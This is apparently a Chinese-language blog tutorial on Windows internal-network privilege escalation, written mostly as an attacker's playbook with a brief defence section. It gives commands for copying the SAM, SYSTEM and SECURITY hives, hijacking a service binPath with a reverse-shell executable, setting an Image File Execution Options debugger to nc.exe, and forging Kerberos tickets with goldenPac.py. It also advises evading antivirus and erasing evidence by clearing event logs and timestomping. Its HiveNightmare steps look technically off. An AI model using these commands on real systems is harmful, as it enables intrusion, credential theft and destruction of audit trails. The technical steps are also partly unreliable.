Windows内网提权技术与防御实战指南

1. 内网提权基础概念与场景分析

内网环境中的权限提升是渗透测试和系统安全评估中的关键环节。不同于外网渗透，内网提权往往面临更严格的安全策略和更复杂的网络架构。Windows系统作为企业内网的主流操作系统，其提权技术体系已经发展出一套完整的方法论。

在实际工作中，我们常遇到两种典型场景：一种是已经获取了某台内网主机的普通用户权限，需要提升至系统权限；另一种是通过跳板机在内网横向移动时，发现高价值目标但当前权限不足。这两种情况都需要系统化的提权技术作为支撑。

2. 漏洞提权技术详解

2.1 内核漏洞提权实战

内核漏洞是提权中最直接有效的方式。以经典的CVE-2021-36934（HiveNightmare）为例，这个漏洞允许低权限用户读取SAM系统文件。具体操作流程如下：

1. 首先验证漏洞存在性：

powershell复制whoami /priv | findstr "SeBackupPrivilege"

2. 创建文件备份目录：

cmd复制mkdir C:\temp\backup

3. 使用robocopy提取关键文件：

cmd复制robocopy C:\Windows\System32\config C:\temp\backup SAM SYSTEM SECURITY

重要提示：实际操作中需注意杀软监控，建议先关闭实时防护或使用免杀技术

2.2 服务漏洞利用技巧

Windows服务配置不当常导致提权机会。以不安全的服务权限为例，当普通用户对某个服务拥有修改权限时：

1. 使用accesschk工具检测服务权限：

cmd复制accesschk.exe -uwcqv "Users" *

2. 查找BINARY_PATH_NAME可修改的服务：

powershell复制sc qc <服务名>

3. 替换服务指向恶意程序：

cmd复制sc config <服务名> binPath= "C:\attack\reverse.exe"

3. 配置错误提权全解析

3.1 文件系统权限配置缺陷

错误的文件权限设置是最常见的提权路径。我曾在一个企业环境中通过以下步骤实现提权：

1. 查找全局可写目录：

powershell复制Get-ChildItem "C:\" -Recurse | Where-Object {$_.PSIsContainer -and $_.AccessToString -match "Everyone\sAllow\s\sModify"}

2. 定位服务加载的可执行文件：

cmd复制wmic service get name,pathname

3. 通过DLL劫持或文件替换实现权限提升

3.2 注册表键值滥用实战

注册表错误配置同样危险，特别是当以下键值可写时：

• HKLM\SYSTEM\CurrentControlSet\Services
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

典型攻击流程：

powershell复制reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\attack\nc.exe" /f

4. 提权后的痕迹清理技术

成功提权后，专业的痕迹清理至关重要。我的标准操作流程包括：

1. 清除事件日志：

powershell复制Clear-EventLog -LogName Security,Application,System

2. 修改文件时间戳：

cmd复制timestomp C:\attack\tools.exe -copy C:\Windows\system32\calc.exe

3. 删除临时文件：

powershell复制Remove-Item -Path C:\temp\* -Recurse -Force

5. 防御措施与检测方案

5.1 企业级防护策略

根据实战经验，有效的防御体系应包含：

• 定期服务账户审计
• 文件系统完整性监控
• 最小权限原则实施
• 补丁管理自动化

5.2 攻击特征检测

以下PowerShell脚本可检测可疑的提权行为：

powershell复制Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4672,4688
} | Where-Object {
    $_.Message -match "high privileged" -or 
    $_.Message -match "new process"
}

6. 实战案例深度剖析

在某次红队行动中，我们通过组合利用多个配置错误实现了域控提权：

1. 首先发现某台文件服务器存在共享目录可写：

cmd复制net view \\target-pc

2. 利用MS14-068漏洞伪造Kerberos票据：

bash复制goldenPac.py domain/user:password@dc.domain.com

3. 最终通过DCSync攻击获取域管理员哈希

这个案例展示了内网提权往往需要多种技术的组合运用。每个环节都需要精确把握时机和操作细节，特别是在企业级防御体系下的隐蔽操作。